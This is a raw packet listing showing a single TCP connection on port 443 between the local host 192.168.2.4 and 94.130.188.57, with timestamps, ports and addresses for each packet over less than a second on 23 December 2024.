Dec 23, 2024 06:22:01.900959969 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.900995970 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947335005 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.947539091 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947596073 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.947607994 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947607994 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947663069 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947665930 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.947704077 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.947717905 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947741985 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947746992 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.947756052 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947774887 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.947774887 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947825909 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.947865963 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947932005 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.947974920 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.947997093 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.948043108 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.948065996 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.948098898 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.948121071 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.948178053 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.948267937 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.948292971 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.995354891 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.995443106 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.019741058 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.019920111 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.019965887 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.020124912 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.020191908 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.020191908 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.021424055 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.021441936 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.021575928 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.021661997 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.021825075 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.021878004 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.023272038 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.023416996 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.023483038 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.023513079 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.023753881 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.023807049 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.024831057 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.025006056 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.025083065 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.025238037 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.025283098 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.025451899 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.071353912 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.121663094 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.121805906 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.121854067 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.121985912 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.122024059 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.122184992 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.139421940 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.139524937 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.139714003 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.139775038 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.141546011 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.141630888 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.141659021 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.144653082 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.145692110 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.145776987 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.145817041 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.145838976 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.145915985 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.145948887 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.145967007 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.145998001 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146034956 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146044970 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146097898 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146164894 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146190882 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146224976 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146253109 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146259069 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146306038 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146315098 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146338940 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146358013 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146370888 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146374941 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146399975 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146400928 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146428108 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146444082 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146459103 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146469116 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146519899 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146522045 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146553993 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146575928 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146588087 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146604061 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146610022 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.146651030 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146670103 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146713018 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146744013 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146760941 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146806955 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146838903 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146863937 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146899939 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146946907 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.146975040 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.147005081 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.147106886 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.147245884 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.147290945 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.147382975 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.147492886 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.147533894 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.147566080 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.147597075 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.147661924 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.147663116 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.148283958 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.148371935 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.148536921 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.148577929 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.165575981 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.165735960 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.165772915 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.165832043 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.165929079 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.165997028 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.166014910 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.166043043 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.166043997 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.166071892 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.207351923 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.207540989 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.207591057 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.241156101 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.241223097 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.241436958 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.241472960 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.241512060 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.241547108 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.241616964 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.241681099 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.242474079 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.242522955 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.242691994 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.242719889 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.242774010 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.242830992 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.242854118 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259008884 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.259170055 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.259289026 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259371996 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.259413958 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259433985 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.259465933 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259521961 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259547949 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259572983 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259627104 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259628057 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259675980 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259701014 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259735107 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.259752035 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.260621071 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.260643959 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.260790110 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.260860920 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.261085033 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.261142969 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.262403965 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.262485981 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.262643099 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.262686968 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.262739897 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.262881041 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.263052940 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.263118029 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.264075994 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.264164925 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.264349937 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.264405012 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.264425993 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.265808105 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.265988111 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266068935 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266068935 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266088963 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.266108990 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266119957 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266141891 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266154051 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266431093 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266535997 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266590118 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266613960 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266627073 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.266675949 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.267398119 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.267494917 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.267798901 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.267831087 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.267844915 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.267968893 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.268011093 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.269968033 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.270061970 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.270289898 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.270322084 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.270334959 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.270459890 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.270512104 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.307095051 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.307178974 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.307357073 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.307388067 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.307445049 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.307593107 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.307629108 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.351347923 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.378891945 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.379053116 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.379117012 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.379146099 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.379206896 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.379640102 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.379690886 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.382309914 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.382405996 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.382555962 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.382599115 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.382618904 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.382671118 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.382740974 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.382792950 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.386177063 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.386301994 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.386454105 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.386495113 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.386531115 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.386548996 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.386565924 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.386620998 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.386657953 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.386682987 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.390074015 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.390163898 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.390325069 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.390377045 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.390531063 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.390571117 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.393079042 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.393171072 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.393340111 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.393387079 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.393392086 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.393424988 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.393626928 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.393673897 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.435380936 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.435766935 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.467123985 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.471626997 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.471700907 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.471757889 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.475250959 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.477248907 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.496918917 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.497047901 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.498810053 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.498876095 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.498924017 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.498944998 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.498996019 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.505284071 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.513694048 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.513958931 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.514082909 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.514163017 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.514261007 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.514656067 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.514691114 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.514730930 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.514903069 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.514923096 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515036106 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515064955 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515089989 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515121937 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515122890 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515155077 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515182018 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515269995 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515302896 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515360117 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515377045 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515383959 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515412092 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515470982 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515675068 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515695095 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515736103 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515757084 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515799046 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515824080 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515825033 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515850067 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515850067 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515871048 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515917063 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515917063 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515924931 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515950918 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.515952110 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.515978098 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516019106 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516031981 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.516063929 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.516127110 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516172886 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.516211987 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516232014 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.516350031 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516438961 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.516506910 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516536951 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516542912 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.516566992 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516567945 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.516678095 CET	443	49779	94.130.188.57	192.168.2.4
